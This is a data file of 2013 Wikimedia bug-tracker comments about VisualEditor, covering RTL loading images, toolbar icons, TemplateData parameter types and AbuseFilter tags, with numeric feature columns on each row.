+247209,VisualEditor: Allow AbuseFilter rules to identify VE edits,"This would need AbuseFilter to be extended to understand tags (or, to understand VisualEditor, which seems a less satisfying and extensible way of achieving this).",,,1374075407,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,1,0,1,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,0,0
+247203,VisualEditor: Allow AbuseFilter rules to identify VE edits,"Both AbuseFilter and VisualEditor use change tags.  It might be possible for AbuseFilter to use VisualEditor's tag if AbuseFilter runs after, though I don't see tags mentioned at https://www.mediawiki.org/wiki/Extension:AbuseFilter/Rules_format",,,1373946577,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-gou4ejmnkpg5lgq6cdfx,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,1,1,1,0,1,1,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+53401,VisualEditor: Page loading animated image is only LTR,"The file VisualEditor/modules/ve-mw/init/styles/images/loading.gif is a ""progress bar""-like loading indicator. It is moving only left to right. It would be more natural for RTL environments if it had an RTL version.
+
+--------------------------
+**Version**: unspecified
+**Severity**: normal",Medium,50.0,1373924940,1377205420.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-erfxy2a7265vjb4b2dj3,task_description,resolved,True,c1,3,False,False,True,2,,0,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,1,1,0,0
+245958,VisualEditor: Page loading animated image is only LTR,"Change 80490 merged by jenkins-bot:
+Reverse the progress image for RTL
+
+https://gerrit.wikimedia.org/r/80490",,,1377205462,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erfxy2a7265vjb4b2dj3,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+245948,VisualEditor: Page loading animated image is only LTR,Merged. Will go out with wmf15.,,,1377205420,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-erfxy2a7265vjb4b2dj3,task_subcomment,,True,c1,3,True,,,7,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0
+245941,VisualEditor: Page loading animated image is only LTR,"Change 80490 had a related patch set uploaded by Amire80:
+Reverse the progress image for RTL
+
+https://gerrit.wikimedia.org/r/80490",,,1377204612,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-erfxy2a7265vjb4b2dj3,task_subcomment,,True,c1,3,False,,,7,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+53374,TemplateData: Add parameter type for wikitext,"I would want to propose to add a type to indicate the content is contained wikitext, instead of a arbitary string. This could help VE to display a visual editor for those fields instead of showing the wikicode directly. This can't be done on ""string"" types as it's not certain they contain real wikitext. If the parameter is only to contain a single template invocation of a specific type, then perhaps a type ""template"" and a pointer to which template.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52652",Medium,50.0,1373909880,1383945230.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,1,0,1,1,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,0
+244368,TemplateData: Add parameter type for wikitext,"Change 91624 merged by jenkins-bot:
+Specify ""content"" and ""unbalanced-wikitext"" as a valid parameter types
+
+https://gerrit.wikimedia.org/r/91624",,,1383945120,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_subcomment,,True,c1,3,False,,,18,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+244362,TemplateData: Add parameter type for wikitext,"Change 91624 had a related patch set uploaded by Krinkle:
+Specify ""wiki-markup"" as a valid parameter type
+
+https://gerrit.wikimedia.org/r/91624",,,1382632926,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_subcomment,,True,c1,3,False,,,16,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,1,0,0,1,0,1,0,0,0,0,0
+244357,TemplateData: Add parameter type for wikitext,"I was going to request this, because I've seen a similar case where the parameter is to be filled with just an internal link. VisualEditor should be able to hide the wikicode markup from new users as much as possible, and this seems to be a very common place where it still appears. See e.g. the values of the parameters ""imagem_legenda"" and ""cidade"" of the [[pt:Template:Info/Bairro do Brasil]]:
+http://toolserver.org/~kolossos/templatetiger/tt-table4.php?template=Info/Bairro%20do%20Brasil&lang=ptwiki&where=&is=
+
+We see things like ""A [[Praça Dom Sebastião]], com a [[Igreja da Conceição]] ao fundo (2007).""",,,1375969318,,PHID-USER-sryrz6tgcfnnsiddx32p,False,,,PHID-TASK-mo5dvj5do74gbwyx6vrs,task_subcomment,,True,c1,3,False,,,5,,1,0,1,1,0,1,1,1,0,0,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,0,1
+53372,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements","Original icon, and 2 suggested alternatives
+
+The ""Insert reference"" icon is not very intuitive. I've made a sketch of two alternatives.
+
+See attachment, or on-wiki at http://commons.wikimedia.org/wiki/File:VisualEditor_-_Toolbar_-_Reference-edit1.png
+
+That image includes the current icon, and two adaptations that consist of: a snippet of grey text, and a blue super-scripted number [1]. 
+
+The grey text could be made into abstract letterforms - squiggles - (rather than the letters REF) in order to make it usable by all languages. 
+
+Or we could use a grey ""+"" sign with the blue [number]. 
+
+(The only problem is RightToLeft languages. Not sure how to solve that.)
+
+The blue super-scripted [number] is universally recognizable and intuitively understandable as denoting references, both in Wikimedia projects and even beyond. I'd suggest this element, at the least, should form the basis for any replacement icon.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=53396
+
+**Attached**: {F11513}",Medium,50.0,1373906820,1401472548.0,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,False,PHID-TASK-643scf5lq5v72slluprm,task_description,resolved,True,c1,3,False,False,False,2,,1,0,1,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,1,0,0,0,1,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,1
+244262,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements",I'm going to provisionally deem this solved with the new icon.,,,1401472548,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-643scf5lq5v72slluprm,task_subcomment,,True,c1,3,True,,,47,,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+244259,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements","**turingt** wrote:
+
+You should include a label besides each button whenever possible. When you have a clear label, it doesn't matter that the icon is hard to recognize. And no, hover text doesn't solve the problem.",,,1373981836,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-643scf5lq5v72slluprm,task_subcomment,,True,c1,3,False,,,2,,1,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,1,1,1,1,1,1,0,0,0,0,1,1,0,0,1,1,1,0,0,0,1,0,1,1,0,0,0,0,0
+244257,"VisualEditor: Toolbar icons - ""reference"" (bookmark) alternatives or improvements","Notes: 
+
+The current icon is stored at http://commons.wikimedia.org/wiki/File:VisualEditor_-_Icon_-_Reference.svg
+
+Threads on en.wiki which discussed the confusing design of the current icon include these:
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback#Icons_are_incomprehensible
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Reference_Issues:_Omnibus_Edition
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Mystery_meat_navigation
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#References
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Attempting_to_add_a_reference
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#User_experience
+http://en.wikipedia.org/wiki/Wikipedia:VisualEditor/Feedback/Archive_2013_07#Refs_and_templates
+(And one thread that reminds us that cellphones/tablets don't get hover text)",,,1373907050,,PHID-USER-hphmqcx66p6d6gvmjzp7,False,,,PHID-TASK-643scf5lq5v72slluprm,task_subcomment,,True,c1,3,False,,,2,,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,1,0,1,0,0,0,0
+53337,VisualEditor: Improve how we suppress reference warnings in template rendering,"Currently it's a hack; it'd be nice to be a bit less of one.
+
+--------------------------
+**Version**: unspecified
+**Severity**: enhancement
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=50423",Medium,50.0,1373852760,1375327521.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_description,resolved,True,c1,3,True,False,True,2,,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,1,0,0
+242265,VisualEditor: Improve how we suppress reference warnings in template rendering,"Done and merged, now that wmf12 is deployed everywhere.",,,1375327521,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,True,,,4,,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+242259,VisualEditor: Improve how we suppress reference warnings in template rendering,"Change 73614 merged by jenkins-bot:
+Use new class to detect Cite errors inside templates
+
+https://gerrit.wikimedia.org/r/73614",,,1375326645,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,False,,,4,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+242251,VisualEditor: Improve how we suppress reference warnings in template rendering,"Change 73096 merged by jenkins-bot:
+Add more specific class to cite errors
+
+https://gerrit.wikimedia.org/r/73096",,,1374193845,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0
+242243,VisualEditor: Improve how we suppress reference warnings in template rendering,https://gerrit.wikimedia.org/r/#/c/73614/,,,1373886910,,PHID-USER-it53o2f2kyryqyj33uzt,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,True,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0
+242234,VisualEditor: Improve how we suppress reference warnings in template rendering,"Change 73096 had a related patch set uploaded by Jforrester:
+Add more specific class to cite errors
+
+https://gerrit.wikimedia.org/r/73096",,,1373852814,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-npqg6q6ozudz2pqkgmjm,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,1,0,0
+53335,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"The Beta notice looks strange to me: 
+http://i.imgur.com/H5n3XdD.png
+ff23 linux
+
+--------------------------
+**Version**: unspecified
+**Severity**: minor
+**See Also**:
+https://bugzilla.wikimedia.org/show_bug.cgi?id=52176",Medium,50.0,1373850240,1393633638.0,PHID-USER-2mkpm2voxepwvz7abjug,False,,False,PHID-TASK-6ana44vgeezadw6ore4y,task_description,resolved,True,c1,3,False,False,False,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,0,0,1,0,0,0,0
+242153,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),This flyout is now much wider.,,,1393633638,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,False,,,34,,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0
+242151,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),*** Bug 51618 has been marked as a duplicate of this bug. ***,,,1374162111,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,True,,,2,,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,0,1,0,0,0,0,0
+242149,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"(In reply to comment #3)
+> (In reply to comment #1)
+> > Which page / URL does this happen on? And what exactly is ""strange""? The line
+> > break between ""Leave"" and ""feedback"", or anything else? Feel free to edit the
+> > bug summary to be more specific. Thanks!
+> 
+> I suspect it is the font (DejaVu?) that is common on Linux systems. It has
+> wider characters than Arial (used on Windows).
+> 
+> The Beta popup should be made a little bit wider to accommodate this font.
+
+The width is defined in terms of the font used (ems). I'm not sure how this fails due to that font - unless its em width is wrong somehow?
+
+Note that we've just changed the language in the beta notices and expanded the width to compensate (deployment will be tomorrow afternoon PDT). Interested to know if this has an impact on this issue.",,,1374079435,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,True,,,2,,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,1,1,0,1,1,0,0,0,0,1,0,1,1,1,1,0,1,0,1,0,0,0,1,1,0,1,0,0,1,1,1,1,0,1,0,0,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1
+242146,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"(In reply to comment #1)
+> Which page / URL does this happen on? And what exactly is ""strange""? The line
+> break between ""Leave"" and ""feedback"", or anything else? Feel free to edit the
+> bug summary to be more specific. Thanks!
+
+I suspect it is the font (DejaVu?) that is common on Linux systems. It has wider characters than Arial (used on Windows).
+
+The Beta popup should be made a little bit wider to accommodate this font.",,,1374030006,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,False,,,2,,0,1,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,1,1,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,1,1,1,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,1,1,0,0,1,1,1,0,1,0,1,1,1,1,1,0,1,0,1,1,0,0,1,0,1
+242143,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"Screenshot
+
+Adding a screenshot of how it looks for me (Firefox22, Windows 7).
+
+**Attached**: {F11423}",,,1373886191,,PHID-USER-j5ma2nageni56xp567v5,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0
+242140,VisualEditor: Beta notices fly-out too narrow on some systems (even though its width is specified in ems),"Which page / URL does this happen on? And what exactly is ""strange""? The line break between ""Leave"" and ""feedback"", or anything else? Feel free to edit the bug summary to be more specific. Thanks!",,,1373883699,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-6ana44vgeezadw6ore4y,task_subcomment,,True,c1,3,True,,,2,,0,1,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,0,0,1,0,1,0,0,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,0
+53314,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"Since T40551 have been resolved, it is //possible// to have per-language bold/italic button variants. But the only two languages //using// this are currently English and German. Do we really need to ask language by language, when we've been through all this with the Vector edit toolbar (see e.g. {T25625}, {T25911}, {T26188} etc.).
+
+We already have https://commons.wikimedia.org/wiki/WikiEditor_Toolbar_Icons#List_by_language -- cannot we use that?
+
+----
+
+See also: https://usability.wikimedia.org/wiki/Opinion_Icons",Medium,50.0,1373799300,1386877406.0,PHID-USER-7clmfrlb7fwuko4jdjbs,False,,False,PHID-TASK-yv3kce72452r37igamnp,task_description,resolved,True,c1,3,False,False,False,1,,1,0,0,1,1,1,1,0,0,0,1,1,0,1,0,1,0,1,1,0,1,0,1,0,0,1,0,0,1,0,0,1,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,0,0,0,0,1
+513030,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,[adding the #tracking project to tasks blocking (now deprecated) T4007 as part of T93366],,,1440343623,,PHID-USER-hgn5uw2jafgjgfvxibhh,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,111,,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,1
+240974,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,No outstanding requests for these; closing for now as complete.,,,1386877406,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,23,,0,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+240972,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"Change 74677 merged by jenkins-bot:
+Set Malayam to use B/I rather than A/A for toolbar icons
+
+https://gerrit.wikimedia.org/r/74677",,,1374265649,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+240967,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"Change 74677 had a related patch set uploaded by Jforrester:
+Set Malayam to use B/I rather than A/A for toolbar icons
+
+https://gerrit.wikimedia.org/r/74677",,,1374265553,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,False,,,2,,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,1,1,1,0,0,0,1,1,0,1,0,0,0,0,0
+240963,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"(In reply to comment #2)
+> That was exactly my point is that we do not want to do that, because we have
+> already went through this with Vector. But I guess I have not expressed
+> myself clearly: I do not care about the exact image files linked there. The
+> point is that _we already know_ that Czech, Hebrew, and Polish (in addition
+> to English) want to use B/I, and we already have these images, the only
+> problem is to modify the configuration. We already know that Danish,
+> Norwegian, and Swedish (in addition to German) want to use F/K, and we
+> already have these images, the only problem is to modify the configuration.
+
+Thank you! No, ""we"" do not know, as we are not experts - but you clearly do. :-) Have created this as bug 51330. Will do this tomorrow when I'm in the office.
+
+> We also already know what letters 13 other languages would want to use, even
+> though we do not have those images ready (I guess), but the best person to
+> create those missing images is the person who created the current A/A/B/I/F/K
+> ones, I would say.
+
+Our developer/designer time is limited; we did F/K as an example for others to follow, not as a commitment that we would do this for all scripts.",,,1373841014,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-yv3kce72452r37igamnp,task_subcomment,,True,c1,3,True,,,1,,1,0,0,0,1,1,1,1,1,0,1,1,0,1,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,1,1,0,0,0,1,0,1,1,0,1,0,0,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,0,1,1,1,0,1,0,1,0,1,1,1,1,0,1,1
+240957,VisualEditor: Create toolbar icons for bold/italic/underline/superscript/subscript/etc. for scripts/languages as appropriate,"(In reply to comment #1)
+> (In reply to comment #0)
+> > Since bug 38551 have been resolved, it is _possible_ to have per-language
+> > bold/italic button variants.
+> 
+> That's about Vector, which is entirely irrelevant here.
+
+Really? Bug 38551 ""VisualEditor: Bold and Italic UI buttons need to be internationalisable"" fixed by https://git.wikimedia.org/commit/mediawiki%2Fextensions%2FVisualEditor/f49d80d27a757d0500b542959284a6c6bc99aebe? Anyway, that's not important.
+
+> Yes (and the Latin-generic ones).
+
+Which are wrong, that's the point.
+
+> > We already have
+> > https://commons.wikimedia.org/wiki/WikiEditor_Toolbar_Icons#List_by_language
+> > --
+> > cannot we use that?
+> 
+> No. Those are low-quality PNG-only icons and not in keeping with the existing
+> VisualEditor ones. VisualEditor's interface is in SVG. We look forward to the
+> creation of such icons and would gladly include them. Turning this into a
+> tracking bug so each language can be tracked against it.
+
+That was exactly my point is that we do not want to do that, because we have already went through this with Vector. But I guess I have not expressed myself clearly: I do not care about the exact image files linked there. The point is that _we already know_ that Czech, Hebrew, and Polish (in addition to English) want to use B/I, and we already have these images, the only problem is to modify the configuration. We already know that Danish, Norwegian, and Swedish (in addition to German) want to use F/K, and we already have these images, the only problem is to modify the configuration. We also already know what letters 13 other languages would want to use, even though we do not have those images ready (I guess), but the best person to create those missing images is the person who created the current A/A/B/I/F/K ones, I would say.
+
